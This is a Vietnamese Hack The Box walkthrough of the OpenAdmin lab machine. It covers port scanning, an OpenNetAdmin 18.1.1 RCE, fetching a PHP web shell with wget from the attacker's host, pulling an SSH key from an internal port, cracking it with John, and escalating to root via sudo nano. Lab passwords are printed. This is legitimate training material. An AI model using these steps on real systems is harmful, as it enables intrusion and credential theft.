[HTB Write-up] OpenAdmin

I. Let's Start

Đây là một machine mới được publish gần đây, được review khá tốt và được đánh giá phù hợp cho beginner. Được publish ngày 4/1/2020 và có IP là 10.10.10.171

Mình đã viết Write-up bài này từ 8/1/2020, nhưng do policy của HTB là không được public những write-up về các machine đang Active nên giờ mình có thể đăng lên Viblo 😄

II. Overview

Về Matrix-Rate:

Khi nhìn vào matrix rate, chúng ta có thể dễ dàng nhận ra việc Enumeration có khả năng rất cao sẽ dẫn tới một CVE nào đó. Cùng với việc custom PoC sẽ không quá phức tạp.

Bước đầu khi đăng nhập vào IP của machine, đây chỉ là một default page của Apache và không có chức năng gì. Vậy khả năng cao việc Ports scan và brute-force để tìm directories và files sẽ được ưu tiên.

Giao diện đăng nhập ban đầu:

III. Write-up

1. User Flag

Scan ports và services bằng Nmap:

nmap -sV -Pn -F 10.10.10.171

Kết quả không khả quan cho lắm:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Cùng tìm xem có URLs nào thú vị không, mình sử dụng tool ưa thích là Gobuster.

Ngoài ra nếu machine quá lag ( do machine mới, nhiều người chơi ), các bạn có thể sử dụng các tools khác như Dirbuster, Dirsearch, ...

Kết quả: Chúng ta có 2 route là /artwork/ và /music/ có HTTP status 301 và có nội dung. Khi truy cập vào http://10.10.10.171/music và chọn Login, chúng ta được redirect tới: http://10.10.10.171/ona/

Chúng ta có cả thông tin version v18.1.1, Google search ngay: "ona 18.1.1 vulnerabilities", ô kìa RCE:

Download script về và custom một chút, nếu run lỗi bad interpreter các bạn chạy: sed -i -e 's/\r$//' scriptname.sh

Chạy script và bạn đã có thể RCE được dưới user www-data. Tại đây mình sẽ wget 1 shell khác để dễ thao tác hơn, cụ thể là p0wnyshell. Mình đổi tên để đỡ trùng tên với shell user khác đã đẩy lên 😄

wget http://10.10.15.192:4567/nghiadz.php

Upload shell thành công, ta thấy có tới 2 user nhưng câu chuyện không đi tới đâu cả:

Tại đây bắt buộc các bạn phải tìm tòi mày mò trong machine. Thông thường đó sẽ là password file, backup file, ssh information, config ... Kinh nghiệm tại đây là liệt kê các folder hay files mà user có privilege và ... tiếp tục tìm và cat, tìm và cat...

Cuối cung chúng ta tìm được 1 file settings và có một password bên trong: n1nj4W4rri0R!

Sử dụng nó và ssh tới machine dưới tên jimmy và thành công:

Nhưng rất tiếc là user này không có flag, cũng đúng vì có tới 2 user, đây chắc là ý đồ của machine owner. Tái thực hiện bước "tìm và cat, tìm và cat, tìm và cat", ta nhận thấy trong thư mục /var/www/ ngoài /ona/ có thêm thư mục /internal/, cat main.php :

Đúng như cái tên là internal, chúng ta không thể truy cập được từ bên ngoài. Nhìn vào hình trên ta có thể thấy đây là 1 file dùng để đọc id_rsa của user joanna.

Hãy thử liệt kê các ports được mở trên machine:

Vậy tại localhost có 2 port là 52846 và 3306 được mở, 3306 là mặc định của MySQL, do đo ta sẽ thử với 52846. Sử dụng Curl và chúng ta có được PRIVATE KEY của joanna:

curl http://localhost:52846/main.php

Lưu PRIVATE KEY vào pritave.txt. Có thể dùng nó để ssh với tên joanna tới machine, nhưng bị yêu cầu password. Crack với John:

Chúng ta có được password là: bloodninjas. Dùng nó để ssh dưới tên joanna và cat user flag:

2. Root Flag

Thông thường tới bước này, để cho nhanh chúng ta sẽ wget thêm 1 script nữa để Enumeration các thông tin trong Linux machine. Tuy nhiên có những thứ nhanh hơn và dễ dàng hơn:

Một khi đã có nano thì có rất nhiều cách để get Root. Dưới đây là một trong số đó:

Exploit:

sudo nano /opt/priv : Không yêu cầu password :D
Ctrl + R => Ctrl + X : Để Execute command
Command: reset; sh 1>&0 2>&0 và ấn Enter

Kết quả như hình bên dưới (Ở đây mình chỉ dùng 1>&0):

Và thành công, đã có Root Flag 😄

IV. Tổng kết

Machine không quá khó, nhưng qua machine này chúng ta biết thêm được 1 "kiểu lỗi" khác đó là mở internal port, là một hướng làm có thể nghĩ tới khi gặp các machine. Cách leo root thì khá cơ bản với Sudo Rights. Các bạn có thể đọc bài viết chi tiết mình đã viết tại đây.

Have fun !